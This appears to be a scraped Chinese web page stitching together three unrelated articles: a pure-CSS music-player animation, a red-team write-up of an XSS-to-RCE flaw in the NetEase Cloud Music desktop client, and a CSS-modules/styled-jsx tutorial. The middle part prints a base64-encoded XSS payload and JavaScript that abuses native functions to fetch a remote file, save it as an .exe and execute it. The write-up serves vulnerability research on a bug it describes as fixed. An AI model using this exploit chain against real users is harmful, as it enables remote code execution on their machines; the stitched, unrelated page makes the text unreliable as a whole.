整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

纯css写网易云孤独星球动画

纯css写网易云孤独星球动画

前两天听歌的时候发现网易云的孤独星球动画挺好看,本想着在网上找找思路,谁知道直接就有,哈哈效果图(动态的,没找到动态工具,拿截图凑合看吧):

源代码

CSS

#effect-music {  position: relative;  margin: auto;  width: 100%;  height: 400px;  overflow: hidden;} #effect-music > .image {  position: absolute;  left: 0;  right: 0;  top: 0;  bottom: 0;  margin: auto;  width: 150px;  height: 150px; background: url(https://tvax1.sinaimg.cn/crop.0.280.720.720.180/cf2922d4ly1g4r5m8upm6j20k00zkqt7.jpg);  background-size: cover;  background-position: center center;  border-radius: 50%;  -webkit-border-radius: 50%;  -moz-border-radius: 50%;  -ms-border-radius: 50%;  -o-border-radius: 50%;  animation: rotate 10s linear 0s infinite;  -webkit-animation: rotate 10s linear 0s infinite;} #effect-music > .wave {  position: absolute;  opacity: 0;  left: 0;  right: 0;  top: 0;  bottom: 0;  margin: auto;  width: 204px;  height: 204px;  border-radius: 50%;  border: 2px solid #eee;  animation: wave 4s linear 0s infinite;  -webkit-animation: wave 4s linear 0s infinite;} #effect-music > .wave::after {  content: "";  position: absolute;  top: -4px;  left: 50%;  width: 6px;  height: 6px;  overflow: hidden;  border-radius: 5px;  -webkit-border-radius: 5px;  -moz-border-radius: 5px;  -ms-border-radius: 5px;  -o-border-radius: 5px;  background-color: #ccc;} #effect-music > .wave:nth-child(2) {  animation-delay: 1s;} #effect-music > .wave:nth-child(3) {  animation-delay: 2s;} #effect-music > .wave:nth-child(4) {  animation-delay: 3s;} @keyframes rotate {  from {    transform: rotate(0deg);    -webkit-transform: rotate(0deg);    -moz-transform: rotate(0deg);    -ms-transform: rotate(0deg);    -o-transform: rotate(0deg);  }  to {    transform: rotate(360deg);    -webkit-transform: rotate(360deg);    -moz-transform: rotate(360deg);    -ms-transform: rotate(360deg);    -o-transform: rotate(360deg);  }} @keyframes wave {  from {    opacity: 1;    transform: rotate(0deg) scale(1);    -webkit-transform: rotate(0deg) scale(1);    -moz-transform: rotate(0deg) scale(1);    -ms-transform: rotate(0deg) scale(1);    -o-transform: rotate(0deg) scale(1);  }  to {    opacity: 0;    transform: rotate(-300deg) scale(2.2);    -webkit-transform: rotate(-300deg) scale(2.2);    -moz-transform: rotate(-300deg) scale(2.2);    -ms-transform: rotate(-300deg) scale(2.2);    -o-transform: rotate(-300deg) scale(2.2);}}

HTML

<div id="effect-music"><div class="image"></div><div class="wave"></div><div class="wave"></div><div class="wave"></div><div class="wave"></div></div>


Author: Wfox@360RedTeam

0x00 前言

前面章节讲解了应用程序是如何与网页进行交互的,接下来章节分析通用软件历史漏洞,通过真实漏洞案例分析去了解嵌入式浏览器安全的攻击面。本章节讲的是网易云音乐rce漏洞分析,一个经典的XSS to RCE漏洞。

往期文章回顾: 1. 《嵌入式浏览器安全之初识Cef》

0x01 Cef资源文件加载

cef浏览器中加载web网页访问通常分为两种,分别是远程资源加载、本地资源加载。

远程资源加载,通过http、https等协议加载网页,通常在软件里作为扩展功能,可延展性强,缺点是页面加载速度受网络环境影响。 本地资源加载,通过file协议实现加载web页面,也是cef桌面应用的主要实现方式。本地加载uri实现方式分为三种:

  1. 绝对文件路径加载 file:///c:/application/index.html
  2. 伪host加载 file://application/index.html
  3. 伪协议&伪host加载 custom://application/index.html

第2、3种方式是通过cef资源重定向实现的,在使用cef加载本地web资源时,html或者js文件很可能会暴露一些接口或者重要数据,为了代码保护需要把web资源进行加密,常见方式是通过zip进行密码加密。解密也比较简单,逆向主程序文件找到解压密码或者zip明文攻击就能解压加密的资源文件。

具体的实现原理这里不再复述,感兴趣的可以阅读这篇文章 https://blog.csdn.net/csdnyonghu123/article/details/92808278

漏洞挖掘的第一步,先打开网易云音乐的目录,可以看到明显的Cef目录架构,比如说子目录、依赖库特征等。

在package目录中,找到了网易云音乐的资源文件包orpheus.ntpk,以zip格式解压得到网易云音乐html资源文件。

解压之后目录结构如下,包含了html、js、css文件等,正是这些构成了网易云音乐的整个前端界面。

当网易云音乐主程序打开时就会加载链接 orpheus://orpheus/pub/app.html,经过cef资源重定向处理后,加载orpheus.ntpk压缩包的/pub/app.html,也就是我们最为熟悉的主界面。

通过进程查看软件Process Hacker查看cloudmusic.exe进程,可以看到cloudmusic.exe主进程下面起了两个子进程。

这两个进程分别是render进程与GPU加速进程,GPU加速进程用于加速页面渲染,在网易云音乐的设置里可以禁用GPU加速。

// cef render进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
?
// cef gpu加速渲染进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411

在漏洞挖掘过程中可以关注下cef进程的启动参数,指不定有些好玩的启动参数,后边章节再讲这方面。

0x02 寻找突破点

在拿到源码文件之后,能做的事情很多,感兴趣的可以自行从html、js里边发掘。这次的目的是为了给客户端弹个计算器,所以首先要达到一个目标,执行任意JavaScript,先从一个xss漏洞开始。

接下来就是常规的Web前端漏洞挖掘思路,在发掘过程中可以将html、js进行格式化,方便阅读代码。

原漏洞作者的思路是从html模板文件找到未过滤的模板变量,从而控制输出点达到xss。但在实际挖掘中,大部分html输出点都是不可控的,原作者找到的xss触发点在电台页面/pub/module/main/djradio/show/index.html的电台名称字段。

漏洞点修复前是${x.name},修复之后加上了escape进行编码过滤。

我们需要添加一个名称带有xss payload的电台,受害者通过搜索电台名称,在访问电台页时即可触发xss。

原漏洞作者提到了通过外置浏览器跳转到伪协议链接orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest,从而唤起网易云音乐,但经过实际分析测试,只能唤起应用但不能跳到对应搜索页面。

那外置浏览器是如何调用网易云音乐伪协议,通过注册表可以查看windows系统中注册的所有伪协议,比如网易云音乐orpheus协议在注册表的地址为 HKEY_CLASSES_ROOT\orpheus\shell\open\command,键值为 “D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”%1″,%1作为变量对应的是完整的伪协议url,最终创建进程 D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest”

目前电台页面处无法复现漏洞,所以搬了原作者的xss效果图。

0x03 进阶攻击

小目标达到了,接下来就是如何将xss漏洞的危害扩大,这里就要用到第一节讲到的知识点,应用程序会在render进程上下文中注册许多JavaScript扩展函数,用于应用程序与网页进行交互。

举个例子,缓存歌曲、缓存突破、下载歌曲、下载歌词文件这些功能都需要涉及文件操作,但网页由于安全策略限制是无法直接保存文件的,所以需要通过JavaScript调用native function来实现文件操作。

当然应用程序注册的JavaScript扩展函数不止这些,接下来进阶攻击就是寻找脆弱的JS扩展函数进行复用,以达到窃取数据、劫持登录凭证、读取任意文件、甚至控制对方计算机权限的目的。

现在复测没有xss漏洞可以用,那我们就假装有一个xss,通过拦截网易云音乐的请求修改响应,插入我们的JavaScript代码。此时祭出大杀器BurpSuite,通过网易云音乐自带的HTTP代理功能设置成127.0.0.1:8080

代理设置成功后,BurpSuite就能抓到网易云音乐的请求。这里用漏洞版本2.1.2.180086作为演示,前面提到过网易云音乐有很多html输出点都没过滤的,但是内容是不可控的。在旧版本网易云音乐中,可以通过BurpSuite拦截修改api请求的明文响应包插入xss payload,触发XSS。(新版本中api请求响应都加密了)

比如说在搜索歌词时,响应部分的lyrics字段会作为html内容插入到页面中,可以替换这部分的响应内容插入xss内容。

添加自动替换响应包规则,省得每次都要拦截修改响应。

随便搜一个查询条数少的关键词,切到歌词的搜索结果,加载替换响应内容后成功触发XSS。

通常cef程序很少会留有可以直接系统命令的扩展函数,所以常见的rce思路是下载可执行文件+运行文件以达到rce的效果。接下来就是通读代码,寻找任意保存文件的扩展函数。

网易云音乐的主要功能逻辑在core.js文件,第一步先将混淆的JavaScript代码美化,提高代码可读性,在代码量居多的情况下可以搜索相关关键词以定位函数,如save、保存、download、下载等,通过关键词定位找到一处可疑的功能代码。

根据代码上下文逻辑,构造出文件下载保存的JavaScript代码。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });

JavaScript代码太长在xss里格式不好处理,所以将xss代码base64执行。

<img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>

插入XSS代码触发,可以将任意远程文件保存到本地任意位置。poc触发成功后将百度logo图片保存到c:/users/public/1.png

当然在实际场景中可能会遇到长度限制,这里只是把payload写在一起作为演示,正常利用建议还是引用远程JS文件。

exe文件已经落地到文件系统中了,接下来就是如何触发下载后的exe文件。通读代码可以发现,网易云音乐基本是通过bD.cFB、bD.bX调用native函数,可以围绕着这些函数调用进行发掘,然后复用函数方法。

通过技巧找到了打开exe文件的方法,这个函数原意应该是用来打开文件夹的,文件/pub/module/main/offline/complete/index.html

根据代码上下文逻辑,构造出打开指定exe文件的JavaScript代码。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");

文件下载、打开exe文件都具备了,接下来构造完整漏洞利用代码。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);

完整利用流程:插入xss payload -> 诱导别人触发xss -> 下载保存exe文件 -> 打开执行exe文件

在网易云音乐最新版本中不仅修复了xss漏洞、增加CSP安全策略,还修复了文件下载、打开文件等涉及文件操作的许多函数,使攻击成本加大,熟悉逆向的可以分析下判断逻辑是否能够绕过。

0x04 结语

本章节涉及了cef资源加载、目录结构分析、进程启动分析、scheme协议注册、XSS漏洞挖掘、native交互漏洞挖掘等知识点,完成一个XSS to RCE漏洞的挖掘才能算是真正的入门。当Web安全人员去真正发掘这方面漏洞时,会发现嵌入式浏览器漏洞挖掘也没那么难以触及,主要是通读代码跟复现代码逻辑会比较耗时间,感兴趣的朋友可以尝试下挖掘通用点的桌面应用~

0x05 参考

漏洞原作者:evi1m0 https://www.chinabaiker.com/thread-2897-1-1.html https://blog.csdn.net/csdnyonghu123/article/details/92808278

SS 模块化

CSS(Cascading Style Sheets),从诞生之初就决定了它无法编程,甚至连解释性语言都算不上,只能作为一种简单的层叠样式表,对 HTML 元素进行格式化。

但随着前端的发展,前端项目已经变得越来越庞大和复杂,社区也一直在探索如何以一种有效的方式去管理前端的代码(js/css/html)和资源(images, fonts, ...)。

在这个过程中,社区探索出了 js 的模块化(amd, commonjs, es6),现在用 js 开发大工程已经游刃有余,而 css 的模块化却还没有特别的深入人心。

1. 分组式模块化

这是最早对 css 模块化的实现,也是最主要的一种方式,包括现在很多组件和开发者都是用这种方式开发的。

分组式模块化就是用命名的方式,以不同的前缀代表不同的含义,实现样式分组,文件分块,达到模块化的目的。

比如:

# 目录结构
|-- one/page/css/ 某个页面的 css 目录
 |-- common.css 通用的 css
 |-- page1/ 单页面1
 |-- section1.css 区域1 css
 |-- section2.css 区域2 css
 |-- page2/ 单页面2
 |-- ...
 
# common.css 文件
.c-el-1 {
 ...
}
.c-el-2 {
 ...
} 
... 
 
# page1/section1.css 文件
.page1-section1 {
 ...
}
.page1-section1 .el-1 {
 ...
} 
.page1-section1 .el-2 {
 ...
} 
...
# page1/section2.css 文件
.page1-section2 {
 ...
}
.page1-section2 .el-1 {
 ...
} 
.page1-section2 .el-2 {
 ...
} 
...

这种方式并不是真正意义上的模块化,因为无法避免全局冲突的问题,但原生 css 并不具备编程的能力,所以这个问题是无法避免的。尽管分组式不算真正意义上的模块化,但是这种方式没有脱离 css 原生的机制,所以尤其是第三方组件在导出 css 文件时,很多都使用的是这种方式。

比如,ant-design 导出的 css 中使用 ant- 前缀标识,mui 导出的 css 中使用 mui- 前缀标识等等。

1.1 最佳实践

css 命名分组实践的时间很长,从 css 诞生之初就有了,所以社区已经发展很成熟了,比如网易的 css 规范框架 NEC,H-ui。

补充:

  • 一个 css 文件不宜过大,可以使用 @import 进行文件分块;
  • 样式渲染尽量不要使用 #id [attr],应尽量使用 .class;
  • 使用 js 库操作 dom 时,尽量不要用 .class,应尽量用 #id data-set,如 $('#main'), $('[data-tab="1"]')。
<ul>
 <li data-tab="1">tab1</li>
 <li data-tab="2">tab2</li>
</ul>
<div data-tab-container="1"></div>
<div data-tab-container="2"></div>

1.2 css 语言扩充

因为 css 不是编程语言,所以不能声明变量、函数,不能做判断、循环和计算,也不能嵌套,所以这就使得写样式是一个效率底下且又枯燥的活儿。

为了解决这个问题,社区在探索中主要衍生出了两种拓展语言 less 与 sass,它们兼容 css,并且拓展了编程的功能,主要是带来了以下的特性:

  • 可以声明变量、函数,可以进行一些简单的计算、判断、循环;
  • 可以嵌套选择器,这样节省了书写的内容,也更具阅读性;
.page1-section1 {
 ...
 
 .el-1 {
 ...
 
 .el-1-1 {
 ...
 }
 }
 
 .el-2 {
 ...
 } 
} 
  • @import 避免重复导入问题,因此可以放心大胆的导入其他文件。

从模块化的角度来讲,less 与 sass 只是扩充了 css 的功能,但并没有在语言的层面做模块化,因为全局命名冲突的问题依然还在。

2. 模块化(导出为 js 对象)

想要让 css 具备真正意义上的模块化功能,暂时还不能从语言的层面来考虑,所以只能从工具的角度来实现。

目前比较好的方式是使用 js 来加载 css 文件,并将 css 的内容导出为一个对象,使用 js 来渲染整个 dom 树和匹配相应的样式到对应的元素上,在这个过程中,我们便有机会对 css 做额外的处理,来达到模块化的目的。

比如:

源文件

# style.css 文件
.className {
 color: green;
}
# js 文件
import styles from "./style.css";
element.innerHTML='<div class="' + styles.className + '">Hello!</div>';

实际效果

# style.css 文件
._23_aKvs-b8bW2Vg3fwHozO {
 color: green;
}
# DOM
<div class="_23_aKvs-b8bW2Vg3fwHozO">Hello!</div>

在这个转换过程中,根据文件的位置、内容生成一个全局唯一的 base64 字符串,替换原来的名称,避免了全局命名冲突的问题,这样便达到了模块化的目的。所以,开发的过程中便无全局样式冲突的问题。

# common.css 文件
.container {
 ...
}
.el1 {
 ...
}
.el2 {
 ...
} 
... 
 
# page1/section1.css 文件
.container {
 ...
}
.title {
 ...
} 
.content {
 ...
} 
...
# page2/section1.css 文件
.container {
 ...
}
.title {
 ...
} 
.content {
 ...
}
...

对 css 模块化的定义参见 css-modules,其中对 css 书写需求主要是:

  1. 应当用 .class,而非#id [attr](因为只有 .class 才能导出为对象的属性);
  2. 推荐用 .className 书写,而非 .class-name(前者可以通过 styles.className 访问,后者需要通过 styles['class-name'] 才能访问)。

更多功能可以查看 css-modules。

当然这个功能需要构建工具的支持,如果你是使用 webpack 构建工程的话,可以使用 css-loader,并设置 options.modules 为 true, 便可使用模块化的功能了。

3. 模块化(内置 js,绑定组件)

随着前端组件化的发展,组件化框架的更新,如 react、vue,慢慢的发展为把整个组件的资源进行封装,并只对外暴露一个对象,而调用者无需关心组件的内部实现和资源,直接调用这个对象就够了。

比如(以 react 为例),一个 Welcome 组件,包括一个 js 文件、一个 css 文件、图片:

# Welcome 组件
|-- welcome.js
|-- welcome.css
|-- images/

在 welcome.js 中便可如下加载(使用“导出为 js 对象”的 css 模块化):

import styles from './welcome.css';
import image1 from './images/1.jpg';

其实,还有另外一种思路,就是将 css 内置 js 中,成为 js 的一部分。

这样做的目的,一是 css 的模块化,二是直接绑定到组件上。

比如,material-ui 便是使用的这种方式。

这种方式的实现有很多种,这里主要介绍一下 styled-jsx。

3.1 styled-jsx

styled-jsx 的原理是根据当前文件的位置、内容生成一个全局唯一的标识,然后把这个标识追加到组件每一个元素上,每一个样式选择器上,达到模块化的目的。

可以参考官方文档,查看详细的用法,我在这里给个例子:

3.1.1 安装工具(babel 转码所需)

npm install --save styled-jsx

3.1.2 配置 babel plugins(如 .babelrc)

{
 "plugins": [
 "styled-jsx/babel"
 ]
}

3.1.3 添加源文件代码

hello.js

export default ()=> (
 <div className={'container'}>
 <p className={'hello'}>Hello! Hello!</p>
 <div id={'hi'}>Hi!</div>
 <style jsx>{`
 .container {
 color: blue;
 }
 p:first-child {
 color: red;
 }
 .hello {
 color: yellow;
 }
 #hi {
 color: green;
 }
 `}</style>
 </div>
)

3.1.4 转码

babel path/to/hello.js -d target/dir

转码后的文件

import _JSXStyle from 'styled-jsx/style';
export default ()=> (
 <div className={'jsx-234963469' + ' ' + 'container'}>
 <p className={'jsx-234963469' + ' ' + 'hello'}>Hello! Hello!</p>
 <div id={'hi'} className={"jsx-234963469"}>Hi!</div>
 <_JSXStyle styleId={"234963469"} css={".container.jsx-234963469{color:blue;}p.jsx-234963469:first-child{color:red;}.hello.jsx-234963469{color:yellow;}#hi.jsx-234963469{color:green;}"} />
 </div>
);

3.1.5 运行

实际渲染效果